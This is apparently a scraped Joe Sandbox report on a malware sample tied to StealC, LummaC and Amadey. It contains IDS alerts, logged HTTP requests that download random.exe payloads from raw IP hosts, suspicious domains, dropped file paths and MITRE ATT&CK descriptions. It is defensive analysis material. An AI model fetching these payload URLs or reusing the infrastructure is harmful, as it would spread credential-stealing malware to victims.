Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49717 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49729 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49712 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49748 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49741 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49723 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49735 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49762 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.11:49880 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49898 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49891 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49905 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49912 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49919 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49927 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49936 -> 104.21.23.76:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vVJvxAfBDM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe

C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe

C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Windows\Tasks\skotes.job

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
vVJvxAfBDM.exe

Function 006D5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Function 006D9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Function 006D9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Function 006DA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Function 006DA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Function 006DA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Function 006DA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Function 006DA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre